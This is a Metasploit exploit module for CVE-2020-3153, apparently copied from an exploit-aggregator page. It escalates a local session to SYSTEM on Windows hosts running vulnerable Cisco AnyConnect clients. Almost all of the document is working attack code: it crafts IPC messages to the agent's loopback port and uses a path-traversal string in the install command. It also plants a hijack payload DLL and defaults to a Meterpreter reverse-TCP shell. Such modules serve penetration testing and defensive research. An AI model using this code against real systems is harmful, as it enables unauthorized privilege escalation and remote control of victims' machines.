Share
## https://sploitus.com/exploit?id=PACKETSTORM:158219
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::FileInfo  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cisco AnyConnect Priv Esc through Path Traversal',  
'Description' => %q{  
The installer component of Cisco AnyConnect Secure Mobility Client for Windows  
prior to 4.8.02042 is vulnerable to path traversal and allows local attackers  
to create/overwrite files in arbitrary locations with system level privileges.  
  
The attack consists in sending a specially crafted IPC request to the TCP port  
62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure  
Mobility Agent service. This service will then launch the vulnerable installer  
component (`vpndownloader`), which copies itself to an arbitrary location  
before being executed with system privileges. Since `vpndownloader` is also  
vulnerable to DLL hijacking, a specially crafted DLL (`dbghelp.dll`) is created  
at the same location `vpndownloader` will be copied to get code execution with  
system privileges.  
  
This exploit has been successfully tested against Cisco AnyConnect Secure  
Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10  
version 1909 (x64) and Windows 7 SP1 (x86).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yorick Koster', # original PoC, analysis  
'Antoine Goichot (ATGO)', # PoC  
'Christophe De La Fuente' # msf module  
],  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' => [  
[  
'Windows x86/x64 with x86 payload',  
{  
'Arch' => ARCH_X86  
}  
]  
],  
'Privileged' => true,  
'References' =>  
[  
['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],  
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],  
['CVE', '2020-3153']  
],  
'DisclosureDate' => 'Feb 19 2020',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',  
'FileDropperDelay' => 10  
}  
)  
)  
  
register_options [  
OptString.new('INSTALL_PATH', [  
false,  
'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\  
' should be found). It will be automatically detected if not set.'  
])  
]  
  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false])  
]  
end  
  
# See AnyConnect IPC protocol articles:  
# - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/  
# - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/  
class CIPCHeader < BinData::Record  
endian :little  
  
uint32 :id_tag, label: 'ID Tag', value: 0x4353434f  
uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }  
uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }  
uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF  
uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000  
uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002  
uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000  
uint8 :message_type, label: 'Message Type', initial_value: 1  
uint8 :message_id, label: 'Message ID', initial_value: 2  
end  
  
class CIPCTlv < BinData::Record  
endian :big  
  
uint8 :msg_type, label: 'Type'  
uint8 :msg_index, label: 'Index'  
uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }  
stringz :msg_value, label: 'Value', length: -> { msg_length }  
end  
  
class CIPCMessage < BinData::Record  
endian :little  
  
cipc_header :header, label: 'Header'  
array :body, label: 'Body', type: :cipc_tlv, read_until: :eof  
end  
  
def detect_path  
program_files_paths = Set.new([get_env('ProgramFiles')])  
program_files_paths << get_env('ProgramFiles(x86)')  
path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'  
  
program_files_paths.each do |program_files_path|  
next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))  
  
return "#{program_files_path}\\#{path}"  
end  
  
nil  
end  
  
def sanitize_path(path)  
return nil unless path  
  
path = path.strip  
loop do  
break if path.last != '\\'  
  
path.chop!  
end  
path  
end  
  
def check  
install_path = sanitize_path(datastore['INSTALL_PATH'])  
if install_path&.!= ''  
vprint_status("Skipping installation path detection and use provided path: #{install_path}")  
@installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil  
else  
vprint_status('Try to detect installation path...')  
@installation_path = detect_path  
end  
  
unless @installation_path  
return CheckCode.Safe('vpndownloader.exe not found on file system')  
end  
  
file_path = "#{@installation_path}\\vpndownloader.exe"  
vprint_status("Found vpndownloader.exe path: '#{file_path}'")  
  
version = file_version(file_path)  
unless version  
return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')  
end  
  
patched_version = Gem::Version.new('4.8.02042')  
@ac_version = Gem::Version.new(version.join('.'))  
if @ac_version < patched_version  
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version}.")  
else  
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version}.")  
end  
end  
  
def exploit  
fail_with(Failure::None, 'Session is already elevated') if is_system?  
if !payload.arch.include?(ARCH_X86)  
fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')  
end  
  
check_result = check  
print_status(check_result.message)  
if check_result == CheckCode::Safe  
unless @installation_path  
fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')  
end  
unless datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable (set ForceExploit to override)')  
end  
print_warning('Override check result and attempt exploitation anyway')  
end  
  
cac_cmd = '"CAC-nc-install'  
if @ac_version && @ac_version >= Gem::Version.new('4.7')  
vprint_status('"-ipc" argument needed')  
cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"  
else  
vprint_status('"-ipc" argument not needed')  
end  
  
program_data_path = get_env('ProgramData')  
dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"  
print_status("Writing the payload to #{dbghelp_path}")  
  
begin  
payload_dll = generate_payload_dll(dll_exitprocess: true)  
write_file(dbghelp_path, payload_dll)  
register_file_for_cleanup(dbghelp_path)  
rescue ::Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::NotFound, e.message)  
end  
  
# vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the  
# normal process will copy the file to  
# "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")  
register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")  
junk = Rex::Text.rand_text_alphanumeric(4)  
cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""  
vprint_status("IPC Command: #{cac_cmd}")  
  
cipc_msg = CIPCMessage.new  
cipc_msg.body << CIPCTlv.new(  
msg_type: 0,  
msg_index: 2,  
msg_value: cac_cmd  
)  
cipc_msg.body << CIPCTlv.new(  
msg_type: 0,  
msg_index: 6,  
msg_value: "#{@installation_path}\\vpndownloader.exe"  
)  
  
vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')  
begin  
socket = client.net.socket.create(  
Rex::Socket::Parameters.new(  
'PeerHost' => '127.0.0.1',  
'PeerPort' => 62522,  
'Proto' => 'tcp'  
)  
)  
rescue Rex::ConnectionError => e  
fail_with(Failure::Unreachable, e.message)  
end  
  
vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")  
socket.write(cipc_msg.to_binary_s)  
socket.flush  
# Give FileDropper some time to cleanup before handing over to the operator  
Rex.sleep(3)  
ensure  
if socket  
vprint_status('Shutdown the socket')  
socket.shutdown  
end  
end  
  
end